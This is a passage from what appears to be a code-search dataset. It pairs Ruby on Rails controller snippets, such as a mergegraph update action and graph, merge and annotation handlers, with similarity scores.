"def create\n @device_group = DeviceGroup.new(device_group_params)\n\n respond_to do |format|\n if @device_group.save\n format.html { redirect_to @device_group, notice: 'Device group was successfully created.' }\n format.json { render :show, status: :created, location: @device_group }\n format.js {\n @device_groups = DeviceGroup.all\n render :create\n }\n else\n format.html { render :new }\n format.json { render json: @device_group.errors, status: :unprocessable_entity }\n format.js {\n @device_groups = DeviceGroup.all\n render :create\n }\n end\n end\n end",
"def index\n @graphs = Graph.all\n end",
"def post_data(graphname, options, value = nil)\n if value.nil?\n params = {\n :graphname => graphname,\n }.merge options\n else\n # obsolute arguments.\n date = options\n params = {\n :graphname => graphname,\n :date => date,\n :value => value,\n }\n end\n\n if params[:value] != nil\n params[:value] = params[:value].to_f\n end\n\n params[:date] = params[:date].strftime(DATE_FORMAT) if params[:date]\n\n res = http_post GRAPH_API_DATA_URI, params\n raise GraphError.new(\"request not successed: #{res}\") if res.code != '201'\n res\n end",
"def merge\n p params\n tracks = current_user.tracks.find(params[:track_ids])\n\n if tracks.count < 2\n respond_to do |format|\n format.html { redirect_to tracks_url, :alert => \"Please select at least 2 tracks to merge!\" }\n end\n end\n\n if @track=Track.merge(tracks)\n respond_to do |format|\n format.html { redirect_to track_url(@track), :notice => \"Tracks merged successfully\" }\n end\n else\n respond_to do |format|\n format.html { redirect_to tracks_url, :alert => \"Could not merge tracks!\" }\n end\n end\n end",
"def create\n @generic_table_aggregation = GenericTable::Aggregation.new(params[:generic_table_aggregation])\n\n respond_to do |format|\n if @generic_table_aggregation.save\n format.html { redirect_to @generic_table_aggregation, notice: 'Aggregation was successfully created.' }\n format.json { render json: @generic_table_aggregation, status: :created, location: @generic_table_aggregation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @generic_table_aggregation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def merge_graph(node)\n node.children.each_with_index do |child, idx|\n\n # If the node exists, replace it and we are done.\n if @nodedb.key? child\n node.children[idx] = @nodedb[child]\n\n # Otherwise, add this node and recursively keep checking.\n else\n child.data = NodeMetaData.new\n @nodedb[child] = child\n merge_graph child\n end\n end\n end",
"def multi_licence_chart\n @original_licences = params[:original_licence_ids].map { |id| find_licence_by_compatibility_id(id) }.compact.uniq\n @target_licences = params[:target_licence_ids].map { |id| find_licence_by_compatibility_id(id) }.compact.uniq\n @remix_type = params[:remix_type]\n\n respond_to do |format|\n format.js\n end\n end",
"def mergeBST(a,b)\n\n a_list = convertBSTtoDLL(a)\n b_list = convertBSTtoDLL(b)\n dll = DoubleList.new\n dll.head = mergeDLL(a_list.head, b_list.head)\n tree = convertDLLtoBST(dll.head, 0, dll.length)\nend",
"def merge(repo, base, head, options = {})\n params = {\n :base => base,\n :head => head\n }.merge(options)\n post \"#{Repository.path repo}/merges\", params\n end",
"def create\n service_result = Organizers::BuildJoinTableObjects.call(graphic_params, 'graphic', :create)\n @graphic = service_result.main_object\n\n if service_result.failure?\n render json: {errors: errors_as_array_hash(service_result.message)}, status: :unprocessable_entity\n else\n render :show, status: :created, location: @graphic\n end\n end",
"def to_graph(passed_graph = RDF::Graph.new)\n passed_graph << graph\n end",
"def create\n expire_page :action => :index\n expire_page :action => :show\n \n @ganglia_graph = GangliaGraph.new(params[:ganglia_graph])\n\n respond_to do |format|\n if @ganglia_graph.save\n format.html { redirect_to(@ganglia_graph, :notice => 'Ganglia Graph was successfully created.') }\n format.xml { render :xml => @ganglia_graph, :status => :created, :location => @ganglia_graph }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @ganglia_graph.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def neo_graphs\n @neo_graphs ||= {}\n end",
"def topology_tag_post_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: TopologiesApi.topology_tag_post ...'\n end\n # resource path\n local_var_path = '/ttms/1.0.0/topology_tag'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'topotagcreaterequest'])\n auth_names = ['oAuth2']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Topology')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: TopologiesApi#topology_tag_post\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def new\n @graph_membership_graph = GraphMembershipGraph.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @graph_membership_graph }\n end\n end",
"def set_graph\n #debugger\n @category = Category.find(params[:category_id])\n @graph = @category.graphs.find(params[:id])\n end"
] |
[
"0.6566948",
"0.6156067",
"0.6021743",
"0.57612205",
"0.56907773",
"0.5583179",
"0.5575224",
"0.5553395",
"0.5533411",
"0.5502257",
"0.5488648",
"0.5474937",
"0.5474751",
"0.5455107",
"0.53372693",
"0.5304352",
"0.53030854",
"0.5257971",
"0.5254713",
"0.5199494",
"0.5150038",
"0.5144853",
"0.5113178",
"0.5109681",
"0.5104608",
"0.5096918",
"0.49834",
"0.49817216",
"0.4975093",
"0.49654454",
"0.49269757",
"0.49207637",
"0.48729983",
"0.48692355",
"0.48614258",
"0.48590836",
"0.4858014",
"0.48408282",
"0.4808684",
"0.4796764",
"0.4793499",
"0.47683793",
"0.47674304",
"0.4763159",
"0.47449926",
"0.47326392",
"0.472681",
"0.4715341",
"0.47094616",
"0.47014555",
"0.46995902",
"0.4695209",
"0.4690763",
"0.46857587",
"0.46815908",
"0.46756023",
"0.46741104",
"0.46741104",
"0.4669998",
"0.46662304",
"0.46626416",
"0.46543938",
"0.46474594",
"0.4643034",
"0.46392295",
"0.46369448",
"0.45819086",
"0.4560896",
"0.4554694",
"0.45538968",
"0.45531806",
"0.4548239",
"0.45402902",
"0.45395237",
"0.4537045",
"0.45335075",
"0.45313266",
"0.45211276",
"0.45127904",
"0.45063412",
"0.45038566",
"0.45034602",
"0.4499634",
"0.44977698",
"0.44891927",
"0.4484994",
"0.4484877",
"0.44798842",
"0.44744048",
"0.44708115",
"0.44674593",
"0.4462771",
"0.44520876",
"0.44507232",
"0.44487",
"0.44440514",
"0.4440852",
"0.44405076",
"0.4433329",
"0.44280407"
] |
0.7047132
|
0
|
PATCH/PUT /mergegraphs/1 PATCH/PUT /mergegraphs/1.json
|
def update
respond_to do |format|
if @mergegraph.update(mergegraph_params)
format.html { redirect_to @mergegraph, notice: 'Mergegraph was successfully updated.' }
format.json { head :no_content }
else
@merge = Admin::Merge.find(@mergegraph.merge_id)
format.html { render action: 'edit' }
format.json { render json: @mergegraph.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @graph = Graph.includes(:nodes).find(params[:id])\n\n respond_to do |format|\n if @graph.update_attributes(params[:graph])\n Action.log :controller => params[:controller], :action => params[:action], :target_id => params[:id], :user => current_user\n format.html { redirect_to @graph, notice: 'Graph was successfully updated.' }\n format.json { head :no_content }\n else\n @graph.graph_membership_graphs.build\n @graph.graph_membership_nodes.build\n format.html { render action: \"edit\", :layout => !request.xhr? }\n format.json { render json: @graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @graph.update_attributes_from_request(update_params)\n head :no_content\n end",
"def update\n respond_to do |format|\n if @api_v1_graph.update(api_v1_graph_params)\n format.html { redirect_to @api_v1_graph, notice: 'Graph was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_graph }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_mergegraph\n @mergegraph = Admin::Mergegraph.find(params[:id])\n merge_id = @mergegraph.merge_id\n @merge = Admin::Merge.find(merge_id)\n end",
"def update\n respond_to do |format|\n if @graph.update(graph_params)\n format.html { redirect_to @graph, notice: 'Graph was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mergegraph = Admin::Mergegraph.new(mergegraph_params)\n\n respond_to do |format|\n if @mergegraph.save\n format.html { redirect_to @mergegraph, notice: 'Mergegraph was successfully created.' }\n format.json { render action: 'show', status: :created, location: @mergegraph }\n else\n @merge = Admin::Merge.find(@mergegraph.merge_id)\n format.html { render action: 'new' }\n format.json { render json: @mergegraph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def mergegraph_params\n params.require(:admin_mergegraph).permit(:merge_id, :graph_id, :side, :y, :vieworder)\n end",
"def update\n respond_to do |format|\n if @bar_graph.update(bar_graph_params)\n format.html { redirect_to edit_bar_graph_path(@bar_graph), notice: 'Bar graph was successfully updated.' }\n format.json { render :edit, status: :ok, location: @bar_graph }\n else\n format.html { render :edit }\n format.json { render json: @bar_graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @gauge_graph.update(gauge_graph_params)\n format.html { redirect_to edit_gauge_graph_path(@gauge_graph), notice: 'Gauge graph was successfully updated.' }\n format.json { render :edit, status: :ok, location: @gauge_graph }\n else\n format.html { render :edit }\n format.json { render json: @gauge_graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @admin_merge.update(merge_params)\n format.html { redirect_to @admin_merge, notice: 'Merge was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_merge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @merge.update(merge_params)\n format.html { redirect_to @merge, notice: 'Merge was successfully updated.' }\n format.json { render :show, status: :ok, location: @merge }\n else\n format.html { render :edit }\n format.json { render json: @merge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @graph_membership_graph = GraphMembershipGraph.find(params[:id])\n\n respond_to do |format|\n if @graph_membership_graph.update_attributes(params[:graph_membership_graph])\n format.html { redirect_to @graph_membership_graph, notice: 'Graph membership graph was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @graph_membership_graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n begin\n success = ActiveRecord::Base.transaction do\n if @graph.update(graph_params)\n $mfclient.edit_graph(@graph.path, update_params)\n end\n end\n rescue => e\n @graph.valid?\n end\n\n respond_to do |format|\n if success\n format.html { redirect_to graph_path(@graph), notice: 'Graph was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @graph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def from_merge_patch_json\n if request.patch?\n from_json\n else\n 415\n end\n end",
"def update\n\n # Technically, the object being transferred as part of the params[:document] parameter is\n # the transfer object that is created as part of graph.js, so it needs to get transformed into\n # native representation so it can be saved\n\n graphs = {}\n tags = {}\n nodes = {}\n edges = {}\n clusters= {}\n\n unless params[:document][:title].nil? || @document.title.eql?(params[:document][:title])\n @document.title = params[:document][:title]\n @document.save!\n end\n\n # Because apparently ruby doesn't memoize anything\n @document.graphs.each do |graph|\n graphs[graph.id] = graph\n\n graph.nodes.each do |node|\n nodes[node.id] = node\n end\n\n graph.edges.each do |edge|\n edges[edge.id] = edge\n end\n\n graph.tags.each do |tag|\n tags[tag.id] = tag\n end\n\n graph.clusters.each do |cluster|\n clusters[cluster.id] = cluster\n end\n\n end\n\n params[:document][:graphs].each do |graph_obj|\n\n graphs[graph_obj[:id]] = @document.graphs.create!(id: graph_obj[:id]) unless graphs.has_key?(graph_obj[:id])\n\n end\n\n params[:document][:clusters].each do |cluster_obj|\n\n graph = graphs[cluster_obj[:graph_id]]\n\n unless graph.nil?\n\n cluster = clusters[cluster_obj[:id]]\n\n if cluster.nil?\n cluster = graph.clusters.create!(id: cluster_obj[:id])\n clusters[cluster_obj[:id]] = cluster\n end\n\n cluster.import cluster_obj\n\n=begin\n cluster.label = cluster_obj[:label] unless cluster_obj[:label].nil? or cluster.label.eql?(cluster_obj[:label])\n\n if cluster_obj.has_key?(:color) && !cluster.color.eql?(cluster_obj[:color]) && !(cluster_obj[:color].match(%r{\\A#(\\h{6}|\\h{3}|\\h)\\z}).nil?)\n cluster.color = cluster_obj[:color]\n end\n\n cluster.shape = cluster_obj[:shape] unless !(cluster_obj.has_key?(:shape)) or cluster_obj[:shape].nil? or cluster.shape.eql?(cluster_obj[:shape])\n=end\n\n cluster.save!\n\n end\n\n end\n\n params[:document][:tags].each do |tag_obj|\n\n graph = graphs[tag_obj[:graph_id]]\n\n unless graph.nil?\n\n tag = tags[tag_obj[:id]]\n\n if tag.nil?\n tag = graph.tags.create!(id: tag_obj[:id])\n tags[tag_obj[:id]] = tag\n end\n\n tag.import tag_obj\n\n=begin\n tag.name = tag_obj[:name] unless tag_obj[:name].nil? or tag.name.eql?(tag_obj[:name])\n\n if tag_obj.has_key?(:color) && !tag.color.eql?(tag_obj[:color]) && !(tag_obj[:color].match(%r{\\A#(\\h{6}|\\h{3}|\\h)\\z}).nil?)\n tag.color = tag_obj[:color]\n end\n\n if tag_obj.has_key?(:shape) && !tag.shape.eql?(tag_obj[:shape])\n tag.shape = tag_obj[:shape]\n end\n=end\n\n tag.save!\n\n end\n\n end\n\n params[:document][:nodes].each do |node_obj|\n\n graph = graphs[node_obj[:graph_id]]\n\n unless graph.nil?\n\n node = nodes[node_obj[:id]]\n\n if node.nil?\n node = graph.nodes.create!(id: node_obj[:id])\n nodes[node_obj[:id]] = node\n end\n\n node.label = node_obj[:label] unless node_obj[:label].nil? || node.label.eql?(node_obj[:label])\n node.shape = node_obj[:shape] unless node_obj[:shape].nil? || node.shape.eql?(node_obj[:shape])\n\n if node_obj.has_key?(:x) and node_obj.has_key?(:y)\n node.x = node_obj[:x]\n node.y = node_obj[:y]\n end\n\n if node_obj.has_key?(:tags) && node_obj[:tags].length > 0\n\n node.node_tags.each do |node_tag|\n if node_obj[:tags].include?(node_tag.tag_id)\n node_obj[:tags].delete(node_tag.tag_id)\n else\n node_tag.destroy\n end\n end\n\n node_obj[:tags].each do |tag_id|\n tag = tags[tag_id]\n unless tag.nil?\n node.tags << tag\n end\n end\n\n\n if node.node_tags.empty?\n node.primary_tag = nil\n elsif node_obj.has_key?(:group)\n\n node.primary_tag = nil\n\n unless node_obj[:group].nil? || !tags.has_key?(node_obj[:group])\n node.primary_tag = tags[node_obj[:group]]\n end\n\n end\n\n else\n node.node_tags.destroy_all\n node.primary_tag = nil\n end\n\n if node_obj.has_key?(:cluster) && !node_obj[:cluster].nil?\n cluster = clusters[node_obj[:cluster]]\n unless cluster.nil?\n node.cluster = cluster\n end\n else\n node.cluster = nil\n end\n\n node.icon = node_obj[:icon] if node_obj.has_key?(:icon)\n\n node.save!\n\n end\n\n end\n\n params[:document][:edges].each do |edge_obj|\n\n graph = graphs[edge_obj[:graph_id]]\n node_from = nodes[edge_obj[:from]]\n node_to = nodes[edge_obj[:to]]\n\n unless graph.nil? || node_from.nil? || node_to.nil?\n\n edge = edges[edge_obj[:id]]\n\n if edge.nil?\n\n edge = graph.edges.new(id: edge_obj[:id], node_from: node_from, node_to: node_to)\n edges[edge_obj[:id]] = edge\n\n end\n\n edge.label = edge_obj[:label] unless edge_obj[:label].nil? || edge.label.eql?(edge_obj[:label])\n edge.save!\n\n end\n end\n\n params[:document][:removed_edges].each do |vis_id|\n edge = edges[vis_id]\n unless edge.nil?\n edge.destroy\n edges.delete(vis_id)\n end\n end\n\n params[:document][:removed_nodes].each do |vis_id|\n node = nodes[vis_id]\n unless node.nil?\n node.destroy\n nodes.delete(vis_id)\n end\n end\n\n head :no_content\n end",
"def merge\n @primary = Client.find(params[:primary_id])\n @secondary = Client.find(params[:secondary_id])\n \n #merge primary_backup and secondary_backup\n @primary.attributes = @secondary.attributes.except(\"id\", \"created_at\", \"updated_at\")\n .delete_if { |k, v| v.blank? }\n #merge tickets\n @secondary.tickets.update_all(client_id: @primary.id)\n #merge backups\n @secondary.backups.update_all(client_id: @primary.id)\n #merge computers\n @secondary.computers.update_all(client_id: @primary.id)\n #merge parts\n @secondary.parts.update_all(client_id: @primary.id)\n #merge dispatches\n @secondary.dispatches.update_all(client_id: @primary.id)\n #merge items\n @secondary.items.update_all(client_id: @primary.id)\n #merge dispatches\n @secondary.anti_viri.update_all(client_id: @primary.id)\n #merge Contract_services\n @secondary.contract_services.update_all(client_id: @primary.id)\n #merge Contract_service_lines\n @secondary.contract_service_lines.update_all(client_id: @primary.id)\n #save backup merge\n @primary.save\n #remove secondary_backup\n @secondary.destroy\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Client was successfully Merged then destroyed.' }\n format.json { head :no_content }\n \n end\n end",
"def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @mergegraph.destroy\n respond_to do |format|\n format.html { redirect_to admin_mergegraph_url }\n format.json { head :no_content }\n end\n end",
"def update\n respond_to do |format|\n if @group_branch.update(group_branch_params)\n format.html { redirect_to location_group_branches_path, notice: \"Grupo de Ramo (#{@group_branch.description}) foi atualizado com sucesso\"}\n format.json { render :show, status: :ok, Location: group_branches_path }\n else\n format.html { render :edit }\n format.json { render json: @group_branch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n @node = Node.find(params[:id])\n \n #params[:incoming_edges_attributes] and params[:incoming_edges_attributes].each { |i| i[:node_id_B] = @node.id and i[:edgetype] = Edgetype.find_by_name('dependent') }\n #params[:outgoing_edges_attributes] and params[:outgoing_edges_attributes].each { |i| i[:node_id_A] = @node.id and i[:edgetype] = Edgetype.find_by_name('dependent') }\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n Action.log :controller => params[:controller], :action => params[:action], :target_id => params[:id], :user => current_user\n format.html { redirect_to @node, notice: 'Node was successfully updated.' }\n format.json { head :no_content }\n else\n @node.related_edges_B.build\n @node.incoming_edges.build\n @node.outgoing_edges.build\n format.html { render action: \"edit\", :layout => !request.xhr? }\n format.json { render json: @node.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @series_statement_merge.update(series_statement_merge_params)\n flash[:notice] = t('controller.successfully_updated', model: t('activerecord.models.series_statement_merge'))\n format.html { redirect_to(@series_statement_merge) }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @series_statement_merge.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @series_statement_merge.update_attributes(params[:series_statement_merge])\n flash[:notice] = t('controller.successfully_updated', :model => t('activerecord.models.series_statement_merge'))\n format.html { redirect_to(@series_statement_merge) }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @series_statement_merge.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n expire_page :action => :index\n expire_page :action => :show\n \n @ganglia_graph = GangliaGraph.get(params[:id])\n\n respond_to do |format|\n if @ganglia_graph.update(params[:ganglia_graph])\n format.html { redirect_to(@ganglia_graph, :notice => 'Ganglia Graph was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ganglia_graph.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n \n # change format of names\n names = graphium_configuration_params[:swarm_agent_names]\n names_to_save = []\n names = names.split(',')\n names.each do |name|\n names_to_save << name\n end\n graphium_configuration_params[:swarm_agent_names] = names_to_save\n \n # change format of colors\n colors = graphium_configuration_params[:swarm_agent_colors]\n colors_to_save = []\n colors = colors.split(',')\n colors.each do |color|\n colors_to_save << color\n end\n graphium_configuration_params[:swarm_agent_colors] = colors_to_save\n logger.info 'PARAMS'\n logger.info graphium_configuration_params\n \n # updating manually\n @graphium_configuration.swarm_agent_number = graphium_configuration_params[:swarm_agent_number]\n @graphium_configuration.swarm_agent_names_API = graphium_configuration_params[:swarm_agent_names_API]\n @graphium_configuration.swarm_agent_names = names_to_save\n @graphium_configuration.mongo_db = graphium_configuration_params[:mongo_db]\n @graphium_configuration.mongo_host = graphium_configuration_params[:mongo_host]\n @graphium_configuration.mongo_port = graphium_configuration_params[:mongo_port]\n @graphium_configuration.swarm_agent_colors = colors_to_save\n @graphium_configuration.inf_positive = graphium_configuration_params[:inf_positive]\n @graphium_configuration.inf_negative = graphium_configuration_params[:inf_negative]\n @graphium_configuration.osmapi_user = graphium_configuration_params[:osmapi_user]\n @graphium_configuration.osmapi_password = graphium_configuration_params[:osmapi_password]\n @graphium_configuration.swarm_seconds_to_check_agents = graphium_configuration_params[:swarm_seconds_to_check_agents]\n \n if @graphium_configuration.save\n \n format.html { redirect_to \"/graphium/configurations/1/edit\", notice: 'Configuration was successfully updated.' }\n format.json { render :show, status: :ok, location: @graphium_configuration }\n else\n format.html { render :edit }\n format.json { render json: @graphium_configuration.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @conditioninfograph = Conditioninfograph.find(params[:id])\n\n respond_to do |format|\n if @conditioninfograph.update_attributes(params[:conditioninfograph])\n format.html { redirect_to @conditioninfograph, notice: 'Conditioninfograph was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @conditioninfograph.errors, status: :unprocessable_entity }\n end\n end\n end",
"def forcemerge(options = nil)\n request(:post, \"_forcemerge\", options)\n end",
"def update\n respond_to do |format|\n if @operation.update(operation_params)\n format.html { redirect_to @operation, notice: 'Operation was successfully updated.' }\n format.json { render :json => @operation.to_json(:include => :task) }\n else\n format.html { render json: @operation.errors, status: :unprocessable_entity }\n format.json { render json: @operation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @conflict.update(conflict_params)\n format.html { redirect_to @conflict, notice: 'Conflict was successfully updated.' }\n format.json { render :show, status: :ok, location: @conflict }\n else\n format.html { render :edit }\n format.json { render json: @conflict.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @node = Node.find(params[:id])\n @json = Node.all.to_gmaps4rails\n\n respond_to do |format|\n if @node.update_attributes(params[:node])\n @nodes = Node.where(:user_id => current_user[:id])\n @nodes.each do |node|\n node.jobnumber = nil\n node.vehicle_id = nil\n node.servicetime = nil\n node.tour_id = nil\n node.save\n end\n project = Project.where(:user_id => current_user[:id]).first\n project.optimized = false\n project.loading = false\n project.save\n format.html { redirect_to(nodes_path, :notice => 'Node was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @node.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n # checks if user is authorized\n if authorise(request)\n # operation parameter tells what put operation should be done on vertex\n operation = params[:operation]\n case operation\n when 'connection'\n update_connection(params[:from_vertex_id], params[:to_vertex_id])\n when 'transformation'\n update_transformation(params[:id], params[:pos_x], params[:pos_y], params[:width],\n params[:height], params[:z_index])\n when 'attribute'\n update_attribute(params[:id], params[:name], params[:estimated_time], params[:clue],\n params[:description])\n else\n render json: { success: false, message: 'Operation does not exist' }, status: :bad_request\n end\n else\n render json: { success: false, message: 'Unauthorized' }, status: 401\n end\n end",
"def update\n do_patch { return } # check if patch and do submission and return early if it is a patch (submission)\n # otherwise this is a PUT of the dataset metadata\n check_status { return } # check it's in progress, clone a submitted or raise an error\n respond_to do |format|\n format.json do\n dp = if @resource\n DatasetParser.new(hash: params['dataset'], id: @resource.identifier, user: @user) # update dataset\n else\n DatasetParser.new(hash: params['dataset'], user: @user, id_string: params[:id]) # upsert dataset with identifier\n end\n @stash_identifier = dp.parse\n ds = Dataset.new(identifier: @stash_identifier.to_s) # sets up display objects\n render json: ds.metadata, status: 200\n end\n end\n end",
"def update\n group = Group.find(params[:id])\n if group.update(group_params)\n render json: group\n else\n render json: group.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def update\n #chart = Chart.find(params[:chart_id])\n chart = Chart.where(\"id = ? AND user_id = ?\", params[:chart_id], current_user.id).limit(1)[0]\n data_set = chart.data_sets.find(params[:id])\n \tdata_set.update_attributes(params[:data_set])\n\n respond_with(data_set) do |format|\n if data_set.valid?\n format.json { render json: { success: true, data_sets: data_set } }\n else\n format.json { render json: { success: false, errors: data_set.errors } }\n end\n end\n end",
"def update!(**args)\n @group_kinds = args[:group_kinds] if args.key?(:group_kinds)\n @json_path = args[:json_path] if args.key?(:json_path)\n @namespaces = args[:namespaces] if args.key?(:namespaces)\n end",
"def update\n respond_to do |format|\n if @setbreak.update(setbreak_params)\n format.json { respond_with_bip @setbreak }\n else\n format.json { respond_with_bip @setbreak }\n end\n end\n end",
"def update\n @ru = Rails.application.config.hostUrl\n\n # Determine from the passed-in layer_id if the layer was changed\n editObject = params\n @layerIdIn = editObject['layer_id'][0]\n @annotationIn = editObject['annotation']\n #use @annotationIn['within'] to determine if the anno already belongs to this layer, if so set updateLists = false\n updateLists = true\n @annotationIn['within'].each do |list_id|\n layers_for_list = Annotation.where(\"annotation_id\": @annotationIn[\"@id\"]).first.annotation_layers \n layers_for_list.each do |layer_for_list|\n if layer_for_list[\"layer_id\"] == @layerIdIn\n updateLists = false\n break\n end\n end\n end\n\n @problem = ''\n @annotation = Annotation.where(annotation_id: @annotationIn['@id']).first\n\n unless check_anno_auth(request, @annotation)\n return render_forbidden(\"There was an error updating the annotation\")\n end\n\n #-------\n if @annotation.nil?\n # No annotation found\n format.json { render json: nil, status: :ok }\n else\n if @annotation.version.nil? || @annotation.version < 1\n # Correctly assign a version number\n @annotation.version = 1\n end\n if !version_annotation @annotation\n errMsg = \"Annotation could not be updated: \" + @problem\n render :json => { :error => errMsg },\n :status => :unprocessable_entity\n end\n\n if updateLists \n list_id = constructRequiredListId @layerIdIn, @annotation.canvas\n canvas_id = getTargetingAnnosCanvas(@annotation)\n checkListExists(list_id, @layerIdIn, canvas_id)\n\n @annotationIn['within'] = Array.new\n @annotationIn['within'].push(list_id)\n\n @annotation.annotation_lists.each do |list|\n delete_annotation_list_association(@annotation.annotation_id, list.list_id)\n end\n\n # Then reassociate lists and the annotation\n associate_lists(@annotationIn)\n end\n\n newVersion = @annotation.version + 1\n request.format = \"json\"\n respond_to do |format|\n\n if @annotation.update_attributes(\n :annotation_type => @annotationIn['@type'],\n :motivation => @annotationIn['motivation'].to_json,\n :on => @annotationIn['on'].to_json,\n :resource => @annotationIn['resource'].to_json,\n :annotated_by => @annotationIn['annotatedBy'].to_json,\n :version => newVersion,\n :order_weight => @annotationIn['orderWeight']\n )\n\n # Update tags associated with the annotation\n tags = parse_tags(@annotationIn['resource'])\n @annotation.annotation_tags = tags\n\n format.html { redirect_to @annotation, notice: 'Annotation was successfully updated.' }\n format.json { render json: @annotation.to_iiif, status: 200, content_type: \"application/json\"}\n else\n format.html { render action: \"edit\" }\n format.json { render json: @annotation.errors, status: :unprocessable_entity, content_type: \"application/json\" }\n end\n end\n end\nend",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def update\n respond_to do |format|\n if @api_v1_group_update.update(api_v1_group_update_params)\n format.html { redirect_to @api_v1_group_update, notice: 'Group update was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_group_update }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_group_update.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @api_v1_initiative_group.update(api_v1_initiative_group_params)\n format.html { redirect_to @api_v1_initiative_group, notice: 'Initiative group was successfully updated.' }\n format.json { render :show, status: :ok, location: @api_v1_initiative_group }\n else\n format.html { render :edit }\n format.json { render json: @api_v1_initiative_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end",
"def update\n respond_to do |format|\n if @circular.update(circular_params)\n format.html { redirect_to @circular, notice: 'Circular was successfully updated.' }\n format.json { render :show, status: :ok, location: @circular }\n else\n format.html { render :edit }\n format.json { render json: @circular.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pool.update(pool_params)\n format.html { redirect_to @pool, notice: 'Aggregator was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @pool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @operation = Operation.find(params[:id])\n params[:operation][\"inputs\"] = filter_distribution_ids(params[:operation][\"inputs\"])\n @model = Model.find(params[:model_id])\n respond_to do |format|\n if @operation.update_attributes(params[:operation])\n format.html { redirect_to user_model_path(@model.user,@model), notice: 'Operation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @operation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @agency = Agency.find(params[:id])\n\n if @agency.update(agency_params)\n #head :no_content\n render json: @agency, status: :accepted, location: @agency #sera? status accepted? \n else\n render json: @agency.errors, status: :unprocessable_entity\n end\n end",
"def update\n render json: @tag.errors unless @tag.update(tag_params)\n end",
